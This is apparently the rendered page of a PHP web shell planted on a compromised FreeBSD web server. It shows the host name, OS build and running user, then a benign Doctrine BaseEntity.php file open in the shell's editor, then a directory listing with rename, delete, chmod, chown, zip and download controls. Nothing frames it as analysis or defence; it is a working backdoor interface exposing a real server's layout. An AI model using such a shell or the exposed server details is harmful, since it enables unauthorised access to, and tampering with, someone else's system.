TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
local_vendor
teze
teze
src
doctrine
src
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/local_vendor/teze/teze/src/doctrine/src/BaseEntity.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Teze\Doctrine\Model; use Doctrine\Common\Collections\ArrayCollection; use Nette\Forms\Form; use Nette\MemberAccessException; use Nette\Reflection\AnnotationsParser; use Teze\FileManager\FileManager; use Teze\FileManager\FileManagerContainer; use Teze\Rules\Rule; use Teze\Rules\RuleList; /** * BaseEntity * @author Jan Pospisil */ class BaseEntity extends \Nette\Object { private $ref; private $propertyAnnotations; private $rules = array ( 'maxLength' => Form::MAX_LENGTH, 'pattern' => Form::PATTERN, 'email' => Form::EMAIL, 'required' => 'required' ); public function __construct() { $this->ref = new \ReflectionClass($this); foreach ($this->ref->getProperties() as $prop) { $this->propertyAnnotations[$prop->name] = AnnotationsParser::getAll($prop); } if($this->propertyAnnotations){ foreach($this->propertyAnnotations as $varName => $annotations){ if(isset($annotations['manyToMany'])){ $this->$varName = new ArrayCollection(); } } } } public function __call($name, $args) { if(substr($name, 0, 3) == 'get' && substr($name, -5) == 'Rules') { $name = lcfirst(substr($name, 3, -5)); return $this->getRules($name); } elseif(substr($name,0,8) == 'validate'){ $name = lcfirst(substr($name, 8)); $this->validate($name); } else { if(method_exists($this, $name)) call_user_func_array(array ($this, $name), $args); else throw new MemberAccessException('Call tu undefined method '.$name); } } final public function getRules($name) { $annotations = $this->getPropertyAnnotations($name); $ruleList = new RuleList(); if(isset($annotations[$name])) { foreach ($annotations[$name] as $aname => $annotation) { if(isset($this->rules[$aname])) { $ruleList->add(new Rule($this->rules[$aname], is_scalar($annotation[0]) ? $annotation[0] === TRUE ? NULL : $annotation[0] : $annotation[0][0], is_scalar($annotation[0]) ? NULL : $annotation[0][1])); } } } else { throw new \InvalidArgumentException('Coll undefined attribute rules: '.$name); } return $ruleList; } final public function validate($name){ // todo } private function getPropertyAnnotations($name) { if(!$this->ref) { $this->ref = new \ReflectionClass($this); foreach ($this->ref->getProperties() as $prop) { $this->propertyAnnotations[$prop->name] = AnnotationsParser::getAll($prop); } } return $this->propertyAnnotations; } }
Crotin
Name
Size
Permissions
Modified
User/Group
BaseEntity.php
2603
0644
2018-07-10 17:51:59
Unknown/Unknown
EntityManagerContainer.php
1404
0644
2018-07-10 17:51:58
Unknown/Unknown
BaseRepository.php
1784
0644
2018-07-10 17:51:59
Unknown/Unknown
RepositoryFactory.php
632
0644
2018-07-10 17:51:59
Unknown/Unknown
Helpers.php
429
0644
2018-07-10 17:51:59
Unknown/Unknown
ConnectionPanel.php
2764
0644
2018-07-10 17:51:59
Unknown/Unknown
Model.php
1617
0644
2018-07-10 17:51:59
Unknown/Unknown
BaseManager.php
1031
0644
2018-07-10 17:51:59
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin